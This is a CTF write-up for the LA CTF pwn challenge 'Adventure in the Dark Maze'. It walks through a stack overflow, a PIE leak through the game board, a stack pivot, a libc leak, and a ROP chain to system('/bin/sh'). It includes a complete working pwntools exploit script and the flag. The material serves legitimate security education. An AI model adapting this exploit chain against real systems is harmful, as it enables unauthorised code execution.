Adventure in the Dark Maze - LA CTF PWN Writeup
Category: PWN
Difficulty: Hard
Points: 350
Solves: 10
Flag: lactf{Th3_835T_345T3r_399_i5_4_fl49}
Solved by: Smothy @ 0xN1umb

"I came for the adventure, stayed for the 7-phase ROP chain"
Challenge Description
Thanks for playing my game!
nc chall.lac.tf 31337
A text adventure game where you explore a 16x16 dungeon, collect items (Sword, Shield, Potion, Key, Scroll, Amulet, Crown, Flag), and try to escape. When you pick up the Flag, it asks for a password. Sounds innocent enough... except the password buffer is criminally undersized and the game board literally encodes the binary's own address into item positions. This is a full PIE bypass + libc leak + double-overflow chain disguised as a dungeon crawler. 10 solves says it all.
TL;DR
Exploit a buffer overflow in the password prompt to leak PIE via game mechanics, pivot the stack to the history buffer for a fgets arbitrary write, leak libc through a printf format trick, restart the game, then overflow again for shell. Seven phases of pain condensed into 400 lines of Python. Binary go brrr.
Initial Recon
Files provided: chall (ELF 64-bit), chall.c (source code), Dockerfile (Ubuntu Noble + pwn.red/jail).
First things first - checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Full RELRO + PIE + NX. No canary though - that's our way in. The Dockerfile tells us Ubuntu Noble (24.04) with glibc 2.39.
The game is simple: move around with n/s/e/w, look around, grab items, check inventory. Standard dungeon crawler vibes. But under the hood...
Step 1: The Vulnerability
The bug is deceptively subtle if you don't know C octal literals:
void check_flag_password(void) {
char password[0020]; // OCTAL! 0020 = 16 bytes
// ...
if (fgets(password, 0x20, stdin) == NULL) { // HEX! 0x20 = 32 bytes0020 in C is octal = 16 bytes. But fgets reads 0x20 = 32 bytes. That's a 16-byte overflow past the buffer: 8 bytes for saved RBP + 7 usable bytes for the return address (null-terminated by fgets).
The constraint: We only control 7 bytes of the return address + the full saved RBP. With PIE enabled, we can't just jump anywhere - we need a leak first.
Step 2: PIE Leak via Game Mechanics
This is where it gets clever. The init_board() function places items based on main()'s address:
void init_board(void) {
unsigned long addr = (unsigned long)main;
unsigned char *bytes = (unsigned char *)&addr;
for (int i = NUM_ITEMS - 1; i >= 0; i--) {
int x = (bytes[i] >> 4) & 0x0F;
int y = bytes[i] & 0x0F;
// collision resolution...
board[y][x] = i + 1;
}
}Each byte of main()'s address determines where an item is placed on the 16x16 grid. The high nibble becomes X, low nibble becomes Y. By finding all 8 items on the board, we can reconstruct the full address of main() and calculate PIE base.
The explore function does a snake traversal across the entire board:
for row in range(BOARD_SIZE):
direction = 'e' if row % 2 == 0 else 'w'
for col in range(BOARD_SIZE - 1):
resp = send_cmd(p, direction)
# check for item names in responseThere's a catch: collisions. When two items hash to the same cell, the later one shifts right/down. We brute-force the ambiguous bytes to resolve these. After ~255 moves of exploration, we have the PIE base.
Step 3: The Stack Pivot Problem
With PIE leaked, we know where everything is. But we only have 7 bytes of return address control. There's no pop rdi; ret gadget in the small binary. We can't do a standard ROP chain in a single overflow.
The key insight: the history buffer in BSS stores every command we type (8 bytes each, 300 entries). We can pre-load ROP gadget addresses as game commands, then pivot the stack to the history buffer.
Stack: [password buf][saved rbp -> history][leave;ret]
|
v
History: [junk][pop_rbp;ret][target+0x10][fgets_seq][safe stack...]
The leave; ret instruction does mov rsp, rbp; pop rbp - giving us a stack pivot to anywhere we control RBP.
Step 4: The 7-Phase Exploit Chain
This is where things get spicy. The exploit runs through 7 phases:
Phase 0: Explore Board -> PIE Leak
Snake-traverse the 16x16 board, find all items, reconstruct main() address.
Phase 1: Write ROP Chain to History
Write 8 carefully crafted addresses as "game commands":
send_addr(p, 0) # junk (popped into rbp)
send_addr(p, pop_rbp_ret) # set rbp for fgets target
send_addr(p, last_item_a + 0x10) # fgets writes to [rbp-0x10] = last_item
send_addr(p, fgets_seq) # call fgets(last_item, 0x20, stdin)
send_addr(p, 0) # safe stack junk
send_addr(p, pop_rbp_ret) # set rbp for game loop
send_addr(p, desired_rbp) # rbp for main's stack frame
send_addr(p, game_restart) # reinit board + game loopPhase 2: Navigate to Flag
Walk back to (0,0) where the Flag item spawns.
Phase 3: First Overflow
Grab the Flag, trigger password prompt, overflow:
payload1 = b'A' * 16 # fill password buffer
payload1 += p64(pivot_addr) # saved rbp -> history ROP
payload1 += p64(leave_ret)[:7] # ret -> leave;ret pivotThis pivots to our ROP chain in history. The chain calls fgets() which reads our next input into the last_item global variable.
Phase 4: Overwrite last_item + Return to Game
The fgets write overwrites last_item pointer with GOT_puts address, then chains back to the game loop via the safe stack entries:
payload2 = p64(got_puts) # overwrite last_item -> GOT_puts
payload2 += p64(0) # padding
payload2 += p64(safe_stack_addr) # saved rbp -> safe stack
payload2 += p64(leave_ret)[:7] # leave;ret chain continuesPhase 5: Leak libc via Inventory
Now last_item points to GOT_puts which contains the libc address of puts(). When we type inv, the inventory display does:
printf(" ║ %2d,%2d %d/%d %3d/%3d %-6s ║\n",
player_x, player_y, item_count, NUM_ITEMS,
move_count, MAX_MOVES, last_item); // <-- leaks GOT_puts bytes!The %-6s format reads bytes from GOT_puts, giving us the raw libc address. Parse it out, subtract the known offset of puts, and we have libc base.
Phase 6: Write Libc ROP Chain
With libc leaked, write the final ROP chain to history:
send_addr(p, 0) # junk
send_addr(p, libc_pop_rdi) # pop rdi; ret
send_addr(p, libc_binsh) # "/bin/sh"
if rop2_start % 2 == 0:
send_addr(p, ret_gadget) # alignment (conditional!)
send_addr(p, libc_system) # system("/bin/sh")Phase 7: Second Overflow -> Shell
The board was reinitialized by game_restart, so the Flag is back at (0,0). Grab it again, overflow again, pivot to the libc ROP chain. Shell.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat /app/flag.txt
lactf{Th3_835T_345T3r_399_i5_4_fl49}
The Flag
lactf{Th3_835T_345T3r_399_i5_4_fl49}
Decoded: "The best easter egg is a flag" - because the password prompt's easter egg was easter_egg, but the real flag was the shell we popped along the way.
The Solve Script
#!/usr/bin/env python3
"""
Adventure in the Dark Maze - LA CTF PWN Exploit
7-phase exploit: PIE leak -> stack pivot -> fgets write -> libc leak -> shell
Smothy @ 0xN1umb
"""
from pwn import *
context.binary = ELF('./chall')
context.log_level = 'info'
# Offsets from PIE base
MAIN = 0x1adf
HISTORY = 0x40a0
LAST_ITEM = 0x4020
GOT_PUTS = 0x3f98
LEAVE_RET = 0x14b7
POP_RBP_RET = 0x1233
RET = 0x101a
FGETS_SEQ = 0x164d
GAME_RESTART = 0x1b18
# Libc offsets (Ubuntu Noble 24.04 glibc 2.39)
LIBC_PUTS = 0x87be0
LIBC_SYSTEM = 0x58750
LIBC_BINSH = 0x1cb42f
LIBC_POP_RDI = 0x10f78b
BOARD_SIZE = 16
NUM_ITEMS = 8
ITEM_NAMES = ["Sword","Shield","Potion","Key","Scroll","Amulet","Crown","Flag"]
def conn():
if args.LOCAL:
return process('./chall')
elif args.DOCKER:
return remote('localhost', 5000)
else:
return remote('chall.lac.tf', 31337)
move_count = 0
def send_cmd(p, cmd):
global move_count
p.sendline(cmd.encode() if isinstance(cmd, str) else cmd)
move_count += 1
return p.recvuntil(b'> ', timeout=8)
def has_bad_byte(addr):
raw = p64(addr)
null_pos = raw.find(b'\x00')
if null_pos <= 0:
return False
return b'\x0a' in raw[:null_pos]
def send_addr(p, addr):
global move_count
raw = p64(addr)
null_pos = raw.find(b'\x00')
if null_pos <= 0:
p.send(raw[:1] + b'\n')
else:
payload = raw[:null_pos]
p.send(payload + b'\n')
move_count += 1
return p.recvuntil(b'> ', timeout=8)
def explore_board(p):
items = {}
resp = send_cmd(p, 'look')
for name in ITEM_NAMES:
if name.encode() in resp and (b'glimmering' in resp or b'spot' in resp):
items[name] = (0, 0)
x, y = 0, 0
for row in range(BOARD_SIZE):
if row > 0:
resp = send_cmd(p, 's')
y += 1
for name in ITEM_NAMES:
if name.encode() in resp and b'spot' in resp:
items[name] = (x, y)
direction = 'e' if row % 2 == 0 else 'w'
for col in range(BOARD_SIZE - 1):
resp = send_cmd(p, direction)
x += (1 if direction == 'e' else -1)
for name in ITEM_NAMES:
if name.encode() in resp and b'spot' in resp:
items[name] = (x, y)
if len(items) == NUM_ITEMS:
break
return items, (x, y)
def reconstruct_pie_base(items):
addr_bytes = [0] * 8
addr_bytes[0] = 0xdf
addr_bytes[6] = 0
addr_bytes[7] = 0
for i in range(1, 6):
name = ITEM_NAMES[i]
if name in items:
x, y = items[name]
addr_bytes[i] = (x << 4) | y
# Verify + collision brute force
board = [[0]*16 for _ in range(16)]
for i in range(NUM_ITEMS - 1, -1, -1):
bx = (addr_bytes[i] >> 4) & 0xF
by = addr_bytes[i] & 0xF
while board[by][bx] != 0:
bx = (bx + 1) % 16
if bx == 0:
by = (by + 1) % 16
board[by][bx] = i + 1
name = ITEM_NAMES[i]
if name in items:
if (bx, by) != items[name]:
for b in range(256):
addr_bytes[i] = b
tboard = [[0]*16 for _ in range(16)]
ok = True
for j in range(NUM_ITEMS - 1, -1, -1):
tx = (addr_bytes[j] >> 4) & 0xF
ty = addr_bytes[j] & 0xF
while tboard[ty][tx] != 0:
tx = (tx + 1) % 16
if tx == 0:
ty = (ty + 1) % 16
tboard[ty][tx] = j + 1
if ITEM_NAMES[j] in items:
if j >= i and (tx, ty) != items[ITEM_NAMES[j]]:
ok = False
break
if ok:
board = tboard
break
main_addr = int.from_bytes(bytes(addr_bytes), 'little')
pie_base = main_addr - MAIN
log.success(f"PIE base @ {hex(pie_base)}")
return pie_base
def exploit():
global move_count
move_count = 0
p = conn()
p.recvuntil(b'> ', timeout=10)
# Phase 0: Explore
items, (cur_x, cur_y) = explore_board(p)
pie_base = reconstruct_pie_base(items)
hist_addr = pie_base + HISTORY
leave_ret = pie_base + LEAVE_RET
pop_rbp_ret = pie_base + POP_RBP_RET
ret_gadget = pie_base + RET
fgets_seq = pie_base + FGETS_SEQ
game_restart = pie_base + GAME_RESTART
last_item_a = pie_base + LAST_ITEM
got_puts = pie_base + GOT_PUTS
# Check for 0x0a in ASLR bytes
for a in [pop_rbp_ret, leave_ret, fgets_seq, game_restart, last_item_a + 0x10, got_puts]:
if has_bad_byte(a):
p.close()
return False
desired_rbp = pie_base + 0x41a0
# Phase 1: Write ROP to history
rop_start = move_count
send_addr(p, 0)
send_addr(p, pop_rbp_ret)
send_addr(p, last_item_a + 0x10)
send_addr(p, fgets_seq)
send_addr(p, 0)
send_addr(p, pop_rbp_ret)
send_addr(p, desired_rbp)
send_addr(p, game_restart)
pivot_addr = hist_addr + rop_start * 8
safe_stack_addr = hist_addr + (rop_start + 4) * 8
# Phase 2: Navigate to (0,0)
for _ in range(cur_x): send_cmd(p, 'w')
for _ in range(cur_y): send_cmd(p, 'n')
# Phase 3: First overflow
p.sendline(b'grab')
move_count += 1
p.recvuntil(b'Password: ', timeout=10)
payload1 = b'A' * 16 + p64(pivot_addr) + p64(leave_ret)[:7]
p.send(payload1)
sleep(0.5)
# Phase 4: fgets write -> overwrite last_item
payload2 = p64(got_puts) + p64(0) + p64(safe_stack_addr) + p64(leave_ret)[:7]
p.send(payload2)
# Phase 5: Leak libc
p.recvuntil(b'> ', timeout=15)
p.sendline(b'inv')
move_count += 1
resp = p.recvuntil(b'> ', timeout=10)
for line in resp.split(b'\n'):
if b'/8' in line and b'/300' in line:
leak_line = line
break
else:
p.interactive()
return True
idx = leak_line.rfind(b'/300')
after = leak_line[idx+4:]
if after[:1] == b' ': after = after[1:]
end = after.find(b'\xe2\x95\x91')
leak_raw = after[:end].rstrip(b' ')
leaked_puts = u64(leak_raw.ljust(8, b'\x00'))
libc_base = leaked_puts - LIBC_PUTS
if libc_base & 0xFFF != 0:
p.interactive()
return True
libc_system = libc_base + LIBC_SYSTEM
libc_binsh = libc_base + LIBC_BINSH
libc_pop_rdi = libc_base + LIBC_POP_RDI
for name, addr in [("pop_rdi", libc_pop_rdi), ("binsh", libc_binsh), ("system", libc_system)]:
if has_bad_byte(addr):
p.close()
return False
# Phase 6: Libc ROP chain
rop2_start = move_count
send_addr(p, 0)
send_addr(p, libc_pop_rdi)
send_addr(p, libc_binsh)
if rop2_start % 2 == 0:
send_addr(p, ret_gadget)
send_addr(p, libc_system)
rop2_pivot = hist_addr + rop2_start * 8
# Phase 7: Second overflow -> shell
p.sendline(b'grab')
move_count += 1
p.recvuntil(b'Password: ', timeout=10)
payload3 = b'B' * 16 + p64(rop2_pivot) + p64(leave_ret)[:7]
p.send(payload3)
log.success("Shell incoming!")
sleep(1)
p.sendline(b'cat /app/flag.txt 2>/dev/null; cat flag.txt 2>/dev/null')
sleep(0.5)
p.sendline(b'echo "FLAG_END"')
try:
output = p.recvuntil(b'FLAG_END', timeout=10)
log.success(f"Output:\n{output.decode(errors='replace')}")
except Exception:
output = p.recv(timeout=5)
log.success(f"Output:\n{output.decode(errors='replace')}")
p.interactive()
return True
def main():
for attempt in range(10):
log.info(f"=== Attempt {attempt + 1} ===")
try:
if exploit():
return
except Exception as e:
log.error(f"Attempt failed: {e}")
log.error("All attempts failed!")
if __name__ == '__main__':
main()The Graveyard of Failed Attempts
1. The 0x0a Byte Nightmare
The address main = PIE + 0x1adf. When ASLR gives a PIE base where byte 1 ends up as 0x0a (newline), fgets() stops reading and our address gets truncated. Initial exploit used main as the return target from the first overflow.
Fix: Replaced main (0x1adf) with GAME_RESTART (0x1b18) - an offset where byte 1 is always 0x1b, never 0x0a. As a bonus, GAME_RESTART calls init_board() which re-places all items including the Flag, so we can grab it again for the second overflow. Two birds, one gadget.
2. Junk ROP Entries Breaking History Alignment
Initially used p64(0x4141414141414141) as junk entries. But 7 non-null bytes means fgets reads all 7 without consuming the trailing newline, leaving \n in stdin which creates an extra empty command. This shifted all subsequent history entries by one, destroying ROP chain alignment.
Fix: Changed junk to p64(0) - null at byte 0 means fgets reads just 1 byte plus null-terminates. Clean, predictable.
3. Stack Alignment Crash After Getting Shell
Shell spawned but immediately crashed. system() requires rsp % 16 == 8 at function entry (x86-64 ABI). The ret gadget for alignment was unconditionally included, but depending on rop2_start parity, this either helped or broke alignment.
Fix: Made ret gadget conditional on rop2_start % 2 == 0. When rop2_start is odd, the natural stack position already satisfies alignment. When even, we need the extra ret to adjust.
4. Output Not Captured
First successful shell: flag was printed but p.interactive() with timeout didn't capture it properly.
Fix: Added explicit sleep() + echo "FLAG_END" sentinel with p.recvuntil() for reliable output parsing.
Key Takeaways
- Octal literals in C are a classic CTF trap.
0020!=20. Always double-check buffer sizes. - Game mechanics as information oracles. The board placement algorithm turns ASLR-randomized addresses into observable game state. Creative challenge design.
- BSS buffers are underrated for ROP. The history array gave us 300 * 8 = 2400 bytes of controlled data at a known address - perfect for stack pivots and multi-stage chains.
- The
leave; retgadget is incredibly powerful when you control RBP. It's essentially a stack pivot primitive:mov rsp, rbp; pop rbp; ret. - When you can call
fgetswith controlled arguments, you have an arbitrary write primitive. This turned a limited overflow into full control. - Stack alignment matters. On x86-64,
system()(and most libc functions using SSE) need 16-byte stack alignment. Always account for this in ROP chains. - The 0x0a problem is real. Any exploit that sends addresses through
fgets/scanf/line-based I/O must handle the newline byte. Either avoid it via offset selection, or retry with different ASLR layouts. - Multi-stage exploits need careful state management. Returning to the game loop cleanly (with correct RBP!) to set up the second overflow was the hardest part.
Tools Used
- pwntools - Exploit development framework
- objdump - Disassembly and offset verification
- checksec - Binary protection analysis
- Docker - Local testing with identical libc
- Python 3 - Solve script
- matplotlib - Writeup screenshots (you're looking at them)
- Way too much caffeine
Writeup by Smothy from 0xN1umb team. 350 points and 10 solves - this one earned every byte of that shell. GG.